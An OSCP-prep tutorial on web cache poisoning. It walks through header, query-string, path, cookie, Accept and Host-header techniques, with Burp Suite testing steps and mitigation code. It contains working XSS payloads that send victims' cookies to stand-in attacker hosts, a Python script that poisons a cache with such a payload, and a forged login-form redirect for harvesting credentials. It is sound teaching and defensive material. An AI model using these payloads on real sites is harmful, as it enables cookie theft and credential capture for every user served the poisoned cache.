Domain 3Exploit Dev & AV EvasionCORE

Web Cache Poisoning

Comprehensive guide to web cache poisoning attacks including header injection, query string poisoning, path-based poisoning, Burp Suite testing methodology, and mitigation strategies for OSCP exam preparation.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#Cache-Poisoning#Web-Cache#Header-Injection#Vary#XSS

Web Cache Poisoning

Table of Contents

  1. Fundamentals
    • 1.1 What Is Web Cache Poisoning?
    • 1.2 How Web Caches Work
    • 1.3 Cache vs Stored XSS
    • 1.4 The “One Attack, Many Victims” Model
  2. Cache Poisoning Attack Flow
  3. Cache Poisoning Techniques
    • 3.1 Header Injection (Custom Request Headers)
    • 3.2 Query String Poisoning
    • 3.3 Path-Based Poisoning
    • 3.4 Cookie-Based Poisoning
    • 3.5 Accept-Header Poisoning
    • 3.6 Host Header Poisoning
  4. Working Examples
  5. Burp Suite Testing Methodology
  6. Cache Poisoning Tools
  7. Mitigation Strategies
  8. OSCP-Specific Tips and Lab Scenarios
  9. Quick Reference Cheat Sheet
  10. References and Further Reading

1. Fundamentals

1.1 What Is Web Cache Poisoning?

Web Cache Poisoning is an attack technique where an attacker injects malicious content into a web cache, causing unsuspecting victims to receive the attacker’s crafted response instead of the legitimate one. The attack exploits the mismatch between how a cache determines its cache key (what makes a request “unique”) and how the backend server generates its response.

Core Concept

A web cache sits between clients and the origin server. When a request arrives:

  1. The cache checks if it has a cached copy of the response.
  2. If yes (cache hit), it serves the cached response directly.
  3. If no (cache miss), it forwards the request to the origin server, stores the response, and serves it.

The vulnerability exists when:

The server uses a request component (header, query parameter, path segment, etc.) to generate the response, but the cache does NOT include that component in its cache key.

This means two different requests can map to the same cache entry, but produce different responses – and an attacker can poison that single entry.

Why It Works

Component Cache Includes in Key? Server Uses in Response? Result
URL path Yes Yes Normal caching
Query string Usually yes Usually yes Normal caching
Custom headers No Yes VULNERABLE
Accept header No (unless Vary: Accept) Yes VULNERABLE
X-Forwarded-Host No Yes VULNERABLE
Cookies No Yes VULNERABLE

1.2 How Web Caches Key and Store Responses

Cache Key Composition

A cache key is the identifier used to look up cached responses. Different caches use different components:

Standard Cache Key (most common):

Cache Key = Scheme + Host + Port + Path + Query String

Extended Cache Key (with Vary):

Cache Key = Standard Key + All Headers Listed in Vary Response Header

Cache Storage Structure

┌─────────────────────────────────────────────────┐
│                  Web Cache                       │
│                                                  │
│  ┌──────────────────────────────────────────┐   │
│  │  Cache Entry #1                          │   │
│  │  Key: GET https://app.com/page?id=1      │   │
│  │  Response: <html>...normal content...</html> │
│  │  TTL: 3600s                              │   │
│  └──────────────────────────────────────────┘   │
│                                                  │
│  ┌──────────────────────────────────────────┐   │
│  │  Cache Entry #2 (POISONED)               │   │
│  │  Key: GET https://app.com/page?id=2      │   │
│  │  Response: <html>...<script>alert(1)</script>...</html> │
│  │  TTL: 3600s                              │   │
│  └──────────────────────────────────────────┘   │
│                                                  │
└─────────────────────────────────────────────────┘

Common Cache Implementations

Cache Type Examples Default Key Behavior
Reverse Proxy Nginx, Apache, Varnish URL-based, configurable
CDN CloudFlare, Akamai, Fastly URL + selected headers
Browser Cache Chrome, Firefox URL-based, respects cache headers
Application-Level Redis, Memcached Developer-defined keys

Cache-Control and HTTP Caching Headers

# Response headers that control caching
Cache-Control: public, max-age=3600        # Cache for 1 hour, shareable
Cache-Control: private, max-age=3600       # Cache for 1 hour, browser only
Cache-Control: no-store                    # Do not cache at all
Cache-Control: no-cache                    # Cache but revalidate with server
Cache-Control: max-age=0, must-revalidate  # Always revalidate
Expires: Wed, 21 Oct 2025 07:28:00 GMT    # Absolute expiry time
Vary: Accept-Encoding, Accept-Language     # Include these in cache key

1.3 Cache vs Stored XSS

Web cache poisoning is often compared to Stored XSS because both involve injecting persistent malicious content. However, there are critical differences:

Aspect Stored XSS Cache Poisoning
Storage Database, file system, CMS Web cache (memory/disk)
Persistence Until manually removed Until TTL expires or cache is cleared
Injection Point Application input fields HTTP request components
Access Required Often requires authentication May work without authentication
Detection Input validation failures Cache key mismatch analysis
Remediation Output encoding, input validation Proper Vary headers, cache config
Scope Tied to specific data entry Tied to specific URL/cache key

Key Insight

The web cache becomes the “database” for the XSS payload. Instead of storing malicious content in a database, the attacker stores it in the cache. The cache serves as a temporary but effective storage mechanism.

1.4 The “One Attack, Many Victims” Model

This is the most dangerous aspect of cache poisoning:

                    Attacker
                       │
                       ▼
              ┌─────────────────┐
              │  Poisoned Cache │◄──── One injection
              │  Entry          │
              └────────┬────────┘
                       │
          ┌────────────┼────────────┐
          ▼            ▼            ▼
       Victim 1    Victim 2    Victim 3
       (CEO)       (Admin)     (Regular User)
          │            │            │
          ▼            ▼            ▼
     XSS Executed  XSS Executed  XSS Executed
     Cookie Stolen  Cookie Stolen  Cookie Stolen

Why This Matters for OSCP:

  1. Impact amplification: A single successful attack affects all users who request the poisoned URL.
  2. High-value targets: If an administrator visits the poisoned URL, their session can be compromised.
  3. Persistence without auth: Unlike many attacks, cache poisoning may not require authentication to inject.
  4. Stealth: The malicious content appears to come from a trusted source (the cached response).

2. Cache Poisoning Attack Flow

Complete Attack Lifecycle

┌─────────────────────────────────────────────────────────────────────────────┐
│                     WEB CACHE POISONING ATTACK FLOW                         │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Phase 1: RECONNAISSANCE                                                    │
│  ┌──────────────┐     ┌──────────────────┐     ┌─────────────────────┐     │
│  │  Attacker    │────▶│  Target Website  │────▶│  Analyze Responses  │     │
│  │  Sends       │     │                  │     │  - Check Vary       │     │
│  │  Normal Req  │     │                  │     │  - Check Cache-     │     │
│  └──────────────┘     └──────────────────┘     │    Control           │     │
│                                                 └─────────┬───────────┘     │
│                                                           │                  │
│  Phase 2: VULNERABILITY IDENTIFICATION                    │                  │
│  ┌────────────────────────────────────────────────────────┤                  │
│  │  Find input that:                                      │                  │
│  │  1. Server reflects in response                        │                  │
│  │  2. Cache does NOT include in cache key                │                  │
│  │  3. Response IS cacheable (no no-store)                │                  │
│  └───────────────────────────────────────────────────────┘                  │
│                                                                             │
│  Phase 3: POISONING                                                         │
│  ┌──────────────┐     ┌──────────────────┐     ┌─────────────────────┐     │
│  │  Attacker    │────▶│  Web Cache       │────▶│  Origin Server      │     │
│  │  Sends       │     │  (MISS - not     │     │                     │     │
│  │  Malicious   │     │   cached yet)    │     │  Processes request  │     │
│  │  Request     │     └──────────────────┘     │  Reflects malicious │     │
│  │              │                              │  input in response  │     │
│  └──────────────┘                              └─────────┬───────────┘     │
│                                                          │                  │
│  Phase 4: CACHE STORAGE                                 │                  │
│  ┌───────────────────────────────────────────────────────┤                  │
│  │  Cache stores the poisoned response under the         │                  │
│  │  cache key derived from the request                   │                  │
│  │  (The malicious content is now "stored" in the cache) │                  │
│  └──────────────────────────────────────────────────────┘                  │
│                                                                             │
│  Phase 5: DELIVERY TO VICTIMS                                               │
│  ┌──────────────┐     ┌──────────────────┐     ┌─────────────────────┐     │
│  │  Victim      │────▶│  Web Cache       │────▶│  Cache HIT!         │     │
│  │  Requests    │     │                  │     │  Returns poisoned   │     │
│  │  Same URL    │     │                  │     │  response           │     │
│  └──────────────┘     └──────────────────┘     └─────────────────────┘     │
│                                                                             │
│  Phase 6: EXPLOITATION                                                      │
│  ┌─────────────────────────────────────────────────────────────────────┐    │
│  │  Victim's browser executes the malicious payload                    │    │
│  │  - XSS payload executes in victim's context                        │    │
│  │  - Attacker receives victim's cookies/session                      │    │
│  │  - Attack succeeds                                                 │    │
│  └─────────────────────────────────────────────────────────────────────┘    │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Detailed Request/Response Flow

┌─────────────────────────────────────────────────────────────────────────┐
│                         DETAILED FLOW DIAGRAM                           │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  ATTACKER'S POISONING REQUEST:                                          │
│  ┌─────────────────────────────────────────────────────────────┐        │
│  │ GET /search?q=laptop HTTP/1.1                               │        │
│  │ Host: vulnerable-app.com                                    │        │
│  │ X-Custom-Header: "><script>document.location='http://attacker.com/steal?c='+document.cookie</script> │
│  └─────────────────────────────────────────────────────────────┘        │
│                                  │                                       │
│                                  ▼                                       │
│  CACHE CHECK:                                                           │
│  ┌─────────────────────────────────────────────────────────────┐        │
│  │ Cache Key = GET /search?q=laptop                            │        │
│  │ (X-Custom-Header NOT included in key!)                      │        │
│  │ Result: CACHE MISS (first request)                          │        │
│  └─────────────────────────────────────────────────────────────┘        │
│                                  │                                       │
│                                  ▼                                       │
│  ORIGIN SERVER RESPONSE:                                                │
│  ┌─────────────────────────────────────────────────────────────┐        │
│  │ HTTP/1.1 200 OK                                             │        │
│  │ Cache-Control: public, max-age=3600                         │        │
│  │ Vary: Accept-Encoding                                       │        │
│  │                                                             │        │
│  │ <html>                                                      │        │
│  │   <body>                                                    │        │
│  │     <h1>Search Results for: laptop</h1>                     │        │
│  │     <div class="custom">                                    │        │
│  │       "><script>document.location='http://attacker.com/     │        │
│  │       steal?c='+document.cookie</script>                    │        │
│  │     </div>                                                  │        │
│  │   </body>                                                   │        │
│  │ </html>                                                     │        │
│  └─────────────────────────────────────────────────────────────┘        │
│                                  │                                       │
│                                  ▼                                       │
│  CACHE STORAGE:                                                         │
│  ┌─────────────────────────────────────────────────────────────┐        │
│  │ Key: GET /search?q=laptop                                   │        │
│  │ Value: [Poisoned HTML response above]                       │        │
│  │ TTL: 3600 seconds                                           │        │
│  └─────────────────────────────────────────────────────────────┘        │
│                                                                         │
│  ───────────────────────────────────────────────────────────────────    │
│                                                                         │
│  VICTIM'S REQUEST (minutes/hours later):                                │
│  ┌─────────────────────────────────────────────────────────────┐        │
│  │ GET /search?q=laptop HTTP/1.1                               │        │
│  │ Host: vulnerable-app.com                                    │        │
│  │ (No X-Custom-Header - normal request)                       │        │
│  └─────────────────────────────────────────────────────────────┘        │
│                                  │                                       │
│                                  ▼                                       │
│  CACHE CHECK:                                                           │
│  ┌─────────────────────────────────────────────────────────────┐        │
│  │ Cache Key = GET /search?q=laptop                            │        │
│  │ Result: CACHE HIT!                                          │        │
│  │ Returns: [Poisoned HTML response]                           │        │
│  └─────────────────────────────────────────────────────────────┘        │
│                                  │                                       │
│                                  ▼                                       │
│  VICTIM'S BROWSER:                                                      │
│  ┌─────────────────────────────────────────────────────────────┐        │
│  │ Renders poisoned HTML                                       │        │
│  │ Executes: <script>document.location='http://attacker.com/   │        │
│  │               steal?c='+document.cookie</script>            │        │
│  │ Victim's cookie sent to attacker!                           │        │
│  └─────────────────────────────────────────────────────────────┘        │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

3. Cache Poisoning Techniques

3.1 Header Injection (Custom Request Headers)

Technical Explanation

This is the most common form of cache poisoning. The attacker sends a custom HTTP header that:

  1. Is NOT included in the cache key by default
  2. IS reflected by the server in the response body
  3. The response IS cacheable

Most caching systems (Nginx, Varnish, CDNs) only include the URL and a few standard headers in the cache key. Custom headers like X-Forwarded-Host, X-Original-URL, or completely arbitrary headers are typically ignored by the cache but may be processed by the application.

Why Custom Headers Are Vulnerable

Cache Key Calculation (Typical):
┌─────────────────────────────────────────────┐
│  Method: GET                                │
│  Scheme: https                              │
│  Host: app.com                              │
│  Path: /page                                │
│  Query: ?id=1                               │
│                                             │
│  NOT INCLUDED:                              │
│  ✗ X-Custom-Header                          │
│  ✗ X-Forwarded-For                          │
│  ✗ X-Original-URL                           │
│  ✗ Any other custom header                  │
└─────────────────────────────────────────────┘

Working Example

Step 1: Attacker sends poisoned request

GET /profile HTTP/1.1
Host: vulnerable-app.com
User-Agent: Mozilla/5.0
X-Forwarded-Host: "><script>document.location='http://attacker.evil.com/steal?cookie='+document.cookie</script>

Step 2: Server processes and reflects the header

HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
Vary: Accept-Encoding
Content-Type: text/html

<html>
<head><title>User Profile</title></head>
<body>
    <h1>Welcome</h1>
    <p>Forwarded from: "><script>document.location='http://attacker.evil.com/steal?cookie='+document.cookie</script></p>
    <!-- Rest of page -->
</body>
</html>

Step 3: Cache stores this response

Cache Key: GET https://vulnerable-app.com/profile
Cached Response: [The HTML above with embedded XSS]

Step 4: Victim requests the same URL

GET /profile HTTP/1.1
Host: vulnerable-app.com
User-Agent: Mozilla/5.0
(No X-Forwarded-Header - normal request)

Step 5: Cache returns the poisoned response

The victim receives the exact same HTML with the XSS payload, even though they didn’t send the malicious header.

Detection Methodology

# Step 1: Send request with custom header
curl -H "X-Test-Header: TESTVALUE123" https://target.com/page

# Step 2: Check if TESTVALUE123 appears in response
# If yes, the server reflects custom headers

# Step 3: Send request without the header
curl https://target.com/page

# Step 4: Compare responses
# If both return the SAME response (with TESTVALUE123),
# the cache is poisoned

Mitigation Strategies

  1. Add custom headers to Vary:

    Vary: Accept-Encoding, X-Forwarded-Host
  2. Don’t reflect untrusted headers:

    # BAD - reflects any header
    forwarded_host = request.headers.get('X-Forwarded-Host', '')
    response = f"<p>Forwarded from: {forwarded_host}</p>"
    
    # GOOD - validate and sanitize
    ALLOWED_HOSTS = ['app.com', 'www.app.com']
    forwarded_host = request.headers.get('X-Forwarded-Host', '')
    if forwarded_host not in ALLOWED_HOSTS:
        forwarded_host = ''
    response = f"<p>Forwarded from: {html.escape(forwarded_host)}</p>"
  3. Use no-store for dynamic content:

    Cache-Control: no-store, no-cache, must-revalidate

3.2 Query String Poisoning

Technical Explanation

Some caching systems allow configuration of which query parameters are included in the cache key. If a parameter is ignored by the cache but used by the application, it becomes a poisoning vector.

Common Scenarios

Scenario Cache Behavior Application Behavior Vulnerability
Ignored params ?id=1&sort=asc → key=?id=1 Uses both id and sort YES
Param order ?a=1&b=2 ≠ ?b=2&a=1 Treats as same YES
Encoded chars ?q=hello%20world normalized Uses raw value YES
Empty params ?id=1& vs ?id=1 May differ YES

Working Example

Vulnerable Configuration:

# Nginx cache key - ignores 'callback' parameter
proxy_cache_key "$scheme$proxy_host$request_uri";
# But application uses 'callback' for JSONP response

Attacker Request:

GET /api/data?id=123&callback=<script>alert('XSS')</script> HTTP/1.1
Host: vulnerable-app.com

Server Response:

HTTP/1.1 200 OK
Cache-Control: public, max-age=300

<script>alert('XSS')</script>({
    "id": 123,
    "data": "sensitive information"
});

Cache Key: GET /api/data?id=123 (callback ignored)

Victim Request:

GET /api/data?id=123 HTTP/1.1
Host: vulnerable-app.com

Victim Receives: The poisoned response with the XSS payload.

Detection Methodology

import requests

def test_query_string_poisoning(base_url, param_name):
    """Test if a query parameter is cache-poisonable"""

    # Request 1: With malicious parameter
    malicious_value = f"<script>alert('POISONED')</script>"
    r1 = requests.get(f"{base_url}?id=1&{param_name}={malicious_value}")

    # Request 2: Without the parameter
    r2 = requests.get(f"{base_url}?id=1")

    # If both return the same content with the payload, it's poisoned
    if malicious_value in r2.text:
        print(f"VULNERABLE: Parameter '{param_name}' is cache-poisonable!")
        return True
    else:
        print(f"Safe: Parameter '{param_name}' is properly handled")
        return False

# Usage
test_query_string_poisoning("https://target.com/api", "callback")

Mitigation Strategies

  1. Include all meaningful params in cache key:

    # Nginx - include all query params
    proxy_cache_key "$scheme$proxy_host$request_uri";
  2. Ignore unknown parameters at application level:

    ALLOWED_PARAMS = {'id', 'page', 'limit', 'sort'}
    # Only process allowed parameters, ignore the rest
  3. Use Vary to include query params:

    Vary: Accept-Encoding, Query-String

3.3 Path-Based Poisoning

Technical Explanation

Path-based poisoning exploits how caches handle URL paths. Common vectors include:

  1. Trailing slashes: /page vs /page/
  2. Path normalization: /page/../page vs /page
  3. Case sensitivity: /Page vs /page
  4. Encoded characters: /page%20 vs /page
  5. Dot segments: /page/. vs /page

Working Example

Scenario: Trailing Slash Vulnerability

Cache Configuration:
- /search and /search/ treated as SAME cache key
- Application treats them as DIFFERENT pages

Attacker Request:

GET /search/ HTTP/1.1
Host: vulnerable-app.com

Server Response (for /search/):

HTTP/1.1 200 OK
Cache-Control: public, max-age=3600

<html>
<body>
    <h1>Search</h1>
    <!-- Application reflects path in response -->
    <p>Current path: /search/</p>
    <!-- If path is reflected unsanitized, XSS possible -->
</body>
</html>

Cache stores under key: GET /search (normalized)

Victim Request:

GET /search HTTP/1.1
Host: vulnerable-app.com

Victim receives: The response cached for /search/, which may contain different content.

Advanced Path Poisoning with XSS

# Attacker crafts a path that breaks out of HTML context
GET /search?q="><script>alert(1)</script> HTTP/1.1
Host: vulnerable-app.com

If the cache normalizes the path but the application reflects it:

<!-- Cached response -->
<input value="><script>alert(1)</script>">

Detection Methodology

# Test trailing slash
curl -I "https://target.com/page"
curl -I "https://target.com/page/"

# Test case sensitivity
curl -I "https://target.com/Page"
curl -I "https://target.com/page"

# Test path normalization
curl -I "https://target.com/page/."
curl -I "https://target.com/page/.."
curl -I "https://target.com/page/%2e%2e"

# Compare response headers for cache indicators
# Look for X-Cache: HIT vs MISS

Mitigation Strategies

  1. Normalize paths consistently:

    # Nginx - normalize trailing slashes
    if ($request_uri ~ ^(.*)/$) {
        rewrite ^(.*)/$ $1 permanent;
    }
  2. Use strict cache keys:

    proxy_cache_key "$scheme$proxy_host$request_uri$is_args$args";
  3. Validate and sanitize path input:

    from urllib.parse import unquote
    
    def sanitize_path(path):
        # Decode and normalize
        path = unquote(path)
        # Remove dot segments
        path = posixpath.normpath(path)
        # Ensure path starts with /
        if not path.startswith('/'):
            path = '/' + path
        return path

Technical Explanation

Cookies are typically NOT included in cache keys (by design, to allow shared caching). If an application reflects cookie values in the response, an attacker can poison the cache with content tailored to a specific cookie value.

Why This Is Dangerous

  • Cookies often contain session identifiers
  • An attacker can craft a response that targets a specific user
  • The poisoned response is served to anyone requesting the same URL

Working Example

Attacker Request:

GET /dashboard HTTP/1.1
Host: vulnerable-app.com
Cookie: username=<img src=x onerror=alert('XSS')>

Server Response:

HTTP/1.1 200 OK
Cache-Control: public, max-age=3600

<html>
<body>
    <h1>Welcome, <img src=x onerror=alert('XSS')></h1>
    <!-- Dashboard content -->
</body>
</html>

Cache Key: GET /dashboard (cookie NOT included)

Any Victim Requesting /dashboard receives the poisoned response.

Detection Methodology

import requests

def test_cookie_poisoning(url):
    """Test if cookie values are reflected in cached responses"""

    malicious_cookie = "test=<script>alert('COOKIE_POISON')</script>"

    # Request with malicious cookie
    s = requests.Session()
    s.cookies.set('test', "<script>alert('COOKIE_POISON')</script>", domain='target.com')
    r1 = s.get(url)

    # Request without the cookie (new session)
    s2 = requests.Session()
    r2 = s2.get(url)

    # Check if malicious content appears in second response
    if "COOKIE_POISON" in r2.text:
        print("VULNERABLE: Cookie value reflected in cached response!")
        return True
    return False

Mitigation Strategies

  1. Never cache responses with Set-Cookie:

    # If response sets a cookie, don't cache it
    Cache-Control: private, no-store
  2. Don’t reflect cookie values in responses:

    # BAD
    username = request.cookies.get('username', '')
    response = f"<h1>Welcome, {username}</h1>"
    
    # GOOD - use server-side session data, not cookies directly
    username = session.get('username', 'Guest')
    response = f"<h1>Welcome, {html.escape(username)}</h1>"
  3. Use Vary: Cookie (prevents shared caching):

    Vary: Cookie

3.5 Accept-Header Poisoning

Technical Explanation

The Accept header tells the server what content types the client can handle. If the server generates different responses based on the Accept header but the cache doesn’t vary on it, poisoning is possible.

Common Accept Header Values

Accept: text/html
Accept: application/json
Accept: application/xml
Accept: text/plain
Accept: */*

Working Example

Attacker Request:

GET /api/user HTTP/1.1
Host: vulnerable-app.com
Accept: application/json"><script>alert('XSS')</script><"

Server Response:

HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
Content-Type: application/json

{"user": "admin", "accept": "application/json"><script>alert('XSS')</script><"}

If the cache doesn’t vary on the Accept header, this response is cached.

Victim Request:

GET /api/user HTTP/1.1
Host: vulnerable-app.com
Accept: text/html

Victim receives: The JSON response with embedded XSS, even though they requested HTML.

Detection Methodology

# Check if Vary includes Accept
curl -I -H "Accept: text/html" https://target.com/page
# Look for: Vary: Accept

# Test different Accept values
curl -H "Accept: text/html" https://target.com/page > html_response.txt
curl -H "Accept: application/json" https://target.com/page > json_response.txt

# Compare responses
diff html_response.txt json_response.txt
# If different, check if Vary: Accept is present

Mitigation Strategies

  1. Always include Accept in Vary:

    Vary: Accept, Accept-Encoding
  2. Don’t reflect Accept header in response body:

    # BAD
    accept = request.headers.get('Accept', '')
    response = f"{'Content-Type: ' + accept}\n{data}"
    
    # GOOD - set header, don't reflect in body
    response.headers['Content-Type'] = negotiate_content_type(request)
    response.body = data

3.6 Host Header Poisoning

Technical Explanation

The Host header specifies the target host. In many architectures, the application uses the Host header to generate URLs, absolute links, or redirect targets. If the cache doesn’t properly key on the Host header (or if X-Forwarded-Host is used), poisoning is possible.

Why Host Header Is Special

  • Most caches DO include the Host header in the cache key
  • BUT, many use X-Forwarded-Host or X-Forwarded-Proto from reverse proxies
  • These forwarded headers are often NOT in the cache key

Working Example

Attacker Request:

GET /login HTTP/1.1
Host: vulnerable-app.com
X-Forwarded-Host: attacker.evil.com
X-Forwarded-Proto: http

Server Response:

HTTP/1.1 200 OK
Cache-Control: public, max-age=3600

<html>
<body>
    <form action="http://attacker.evil.com/login" method="POST">
        <input type="text" name="username">
        <input type="password" name="password">
        <button type="submit">Login</button>
    </form>
</body>
</html>

Impact: All victims are redirected to the attacker’s site for login.

Advanced Host Header XSS

GET /page HTTP/1.1
Host: vulnerable-app.com
X-Forwarded-Host: "><script>alert('XSS')</script>

If the host is reflected in the HTML:

<p>Served by: "><script>alert('XSS')</script></p>

Detection Methodology

# Test Host header reflection
curl -H "Host: test-value-12345" https://target.com/page

# Test X-Forwarded-Host
curl -H "X-Forwarded-Host: test-value-12345" https://target.com/page

# Test X-Forwarded-Proto
curl -H "X-Forwarded-Proto: http" https://target.com/page

# Check if test value appears in response

Mitigation Strategies

  1. Validate forwarded headers:

    ALLOWED_HOSTS = {'app.com', 'www.app.com'}
    
    def get_trusted_host(request):
        forwarded = request.headers.get('X-Forwarded-Host', '')
        if forwarded in ALLOWED_HOSTS:
            return forwarded
        return request.headers.get('Host', 'app.com')
  2. Use canonical host in responses:

    # Always use a known-good host for absolute URLs
    CANONICAL_HOST = 'https://app.com'
    login_url = f"{CANONICAL_HOST}/login"
  3. Strip or ignore untrusted forwarded headers:

    # Nginx - only trust forwarded headers from known proxies
    set $trusted_forwarded_host '';
    if ($http_x_forwarded_host ~ ^(app\.com|www\.app\.com)$) {
        set $trusted_forwarded_host $http_x_forwarded_host;
    }

4. Working Examples

Complete End-to-End Example: Header Injection XSS

Scenario

A web application at vulnerable-app.com has a search page that reflects the X-Forwarded-Scheme header in its response. The cache is configured to not include custom headers in the cache key.

Step 1: Reconnaissance

# Normal request
curl -v https://vulnerable-app.com/search?q=products

# Response shows:
# Cache-Control: public, max-age=3600
# Vary: Accept-Encoding
# X-Cache: MISS (first request)

# Second request
curl -v https://vulnerable-app.com/search?q=products
# X-Cache: HIT (cached!)

Step 2: Test Header Reflection

# Send custom header
curl -H "X-Forwarded-Scheme: TESTVALUE123" \
     https://vulnerable-app.com/search?q=products

# Response contains:
# <meta name="scheme" content="TESTVALUE123">
# → Server reflects the header!

Step 3: Craft XSS Payload

# XSS payload in header
curl -H 'X-Forwarded-Scheme: "><script>document.location="http://attacker.evil.com/steal?c="+document.cookie</script><' \
     https://vulnerable-app.com/search?q=products

# Response contains:
# <meta name="scheme" content=""><script>document.location="http://attacker.evil.com/steal?c="+document.cookie</script><">

Step 4: Verify Cache Storage

# Check cache status
curl -I https://vulnerable-app.com/search?q=products
# X-Cache: HIT
# → Response is cached!

Step 5: Verify Poisoning

# Request WITHOUT the malicious header
curl https://vulnerable-app.com/search?q=products

# Response STILL contains the XSS payload!
# → Cache is poisoned!

Step 6: Victim Impact

Any user who visits https://vulnerable-app.com/search?q=products will:

  1. Receive the cached (poisoned) response
  2. Have the XSS payload executed in their browser
  3. Have their cookie sent to the attacker’s server

Complete Example: Query String Poisoning

Scenario

An API endpoint at /api/data uses a format parameter to determine response format. The cache ignores this parameter.

Attack Sequence

import requests

# Step 1: Normal request
r = requests.get("https://api.target.com/data?id=42")
print(r.headers.get('Cache-Control'))  # public, max-age=600
print(r.headers.get('Vary'))           # Accept-Encoding
# Note: 'format' not in Vary!

# Step 2: Poison the cache
payload = '<script>new Image().src="http://attacker.evil.com/?c="+document.cookie</script>'
r = requests.get(f"https://api.target.com/data?id=42&format={payload}")
print("Poisoning request sent")

# Step 3: Verify cache is poisoned
r = requests.get("https://api.target.com/data?id=42")
if payload in r.text:
    print("SUCCESS: Cache is poisoned!")
    print(f"Response contains: {payload[:50]}...")
else:
    print("Failed: Cache not poisoned")

Complete Example: Path-Based Poisoning

Scenario

A blog application caches pages by path. The application reflects the current path in a breadcrumb navigation.

Attack Sequence

--- Request 1: Attacker poisons the cache ---
GET /blog/post/1"><script>alert('XSS')</script> HTTP/1.1
Host: blog.target.com

--- Response ---
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
Vary: Accept-Encoding

<html>
<nav>
    <a href="/">Home</a> >
    <a href="/blog">Blog</a> >
    <span class="current">1"><script>alert('XSS')</script></span>
</nav>
<article>
    <h1>Blog Post 1</h1>
    <p>Content...</p>
</article>
</html>

--- Request 2: Victim requests normal URL ---
GET /blog/post/1 HTTP/1.1
Host: blog.target.com

--- Response (from cache, if path normalized) ---
[Same poisoned HTML as above]

5. Burp Suite Testing Methodology

Step-by-Step Cache Poisoning Test

Phase 1: Initial Reconnaissance

Step 1.1: Intercept a Normal Request

  1. Open Burp Suite and configure browser proxy
  2. Navigate to the target application
  3. Intercept a request to a potentially cacheable page

Step 1.2: Check Response Headers

Send the request to Repeater and examine:

HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
Vary: Accept-Encoding
X-Cache: MISS
X-Cache-Hit: false
Content-Type: text/html; charset=utf-8

Key Headers to Check:

Header What to Look For Vulnerable If
Cache-Control public, max-age Response is cacheable
Vary Listed headers Missing headers that affect response
X-Cache HIT / MISS Cache is active
Expires Future date Response is cacheable
Age Time since cached Cache is working

Phase 2: Header Injection Testing

Step 2.1: Add Custom Header

In Repeater, add a custom header:

GET /page HTTP/1.1
Host: target.com
X-Test-Header: TESTVALUE12345

Step 2.2: Check for Reflection

Search the response for TESTVALUE12345. If found, the server reflects custom headers.

Step 2.3: Test Cache Behavior

  1. Send the request with the custom header
  2. Send the same request WITHOUT the custom header
  3. Compare responses

If both return the same content (with the test value), the cache is poisoned.

Step 2.4: Test Common Headers

X-Forwarded-Host
X-Forwarded-Proto
X-Original-URL
X-Host
X-Forwarded-Scheme
X-Forwarded-Port
X-Real-IP
X-Cluster-Client-IP
Forwarded

Phase 3: Vary Header Analysis

Step 3.1: Identify Vary Headers

Vary: Accept-Encoding

This means the cache varies on Accept-Encoding only. Any other header that affects the response is a potential vector.

Step 3.2: Test Each Vary Header

For each header in Vary, test if changing it produces different responses:

# Request 1
GET /page HTTP/1.1
Accept-Encoding: gzip

# Request 2
GET /page HTTP/1.1
Accept-Encoding: deflate

# Compare responses

Step 3.3: Identify Missing Vary Headers

If changing a header produces different responses but the header is NOT in Vary, you’ve found a vulnerability.

Phase 4: Cache Poisoning Verification

Step 4.1: Send Poisoning Request

GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: "><script>alert('POISON_TEST')</script>

Step 4.2: Verify Cache Storage

GET /page HTTP/1.1
Host: target.com
(No custom header)

Step 4.3: Check Response

If the response contains POISON_TEST, the cache is successfully poisoned.

Step 4.4: Document Findings

Vulnerability: Web Cache Poisoning via X-Forwarded-Host Header
Severity: High
Vector: Custom request header reflected in response
Cache Key: Does not include X-Forwarded-Host
Impact: XSS affecting all users requesting the poisoned URL
Proof: [Screenshot of poisoned response]

Burp Suite Extensions for Cache Testing

Cache Poisoning Lab Extension

  1. Install: BApp Store → Search “Cache Poisoning Lab”
  2. Configure: Target scope and cache settings
  3. Run: Automated cache poisoning tests

Manual Testing with Burp

Using Repeater:

  1. Right-click request → Send to Repeater
  2. Add/modify headers
  3. Send and compare responses
  4. Use Compare feature to diff responses

Using Intruder:

  1. Send request to Intruder
  2. Set payload position in header
  3. Use payload list of common headers
  4. Check response lengths for differences

Intruder Payload List:

X-Forwarded-Host
X-Forwarded-Proto
X-Original-URL
X-Host
X-Forwarded-Scheme
X-Forwarded-Port
X-Real-IP
X-Cluster-Client-IP
Forwarded
X-Test
X-Custom

6. Cache Poisoning Tools

Cache Poisoning Lab (Burp Extension)

Features:

  • Automated cache poisoning detection
  • Header injection testing
  • Cache key analysis
  • Vary header validation

Usage:

  1. Install from BApp Store
  2. Configure target scope
  3. Run automated scan
  4. Review results and false positives

Custom Python Script

#!/usr/bin/env python3
"""
Web Cache Poisoning Tester
Tests for common cache poisoning vulnerabilities
"""

import requests
import sys
import time
from urllib.parse import urljoin

class CachePoisoningTester:
    def __init__(self, base_url, proxy=None):
        self.base_url = base_url
        self.session = requests.Session()
        if proxy:
            self.session.proxies = {
                'http': proxy,
                'https': proxy
            }

    def is_cacheable(self, url):
        """Check if a URL returns cacheable responses"""
        try:
            r = self.session.get(url, timeout=10)
            cache_control = r.headers.get('Cache-Control', '')
            return 'no-store' not in cache_control and 'private' not in cache_control
        except Exception as e:
            print(f"Error: {e}")
            return False

    def get_vary_headers(self, url):
        """Get Vary headers from response"""
        try:
            r = self.session.get(url, timeout=10)
            return r.headers.get('Vary', '').split(', ')
        except:
            return []

    def test_header_reflection(self, url, header_name, test_value):
        """Test if a header value is reflected in the response"""
        headers = {header_name: test_value}
        try:
            r = self.session.get(url, headers=headers, timeout=10)
            return test_value in r.text
        except:
            return False

    def test_cache_poisoning(self, url, header_name, payload):
        """
        Full cache poisoning test:
        1. Send request with malicious header
        2. Send request without header
        3. Check if payload appears in second response
        """
        test_value = f"POISON_TEST_{header_name}"

        # Step 1: Check if header is reflected
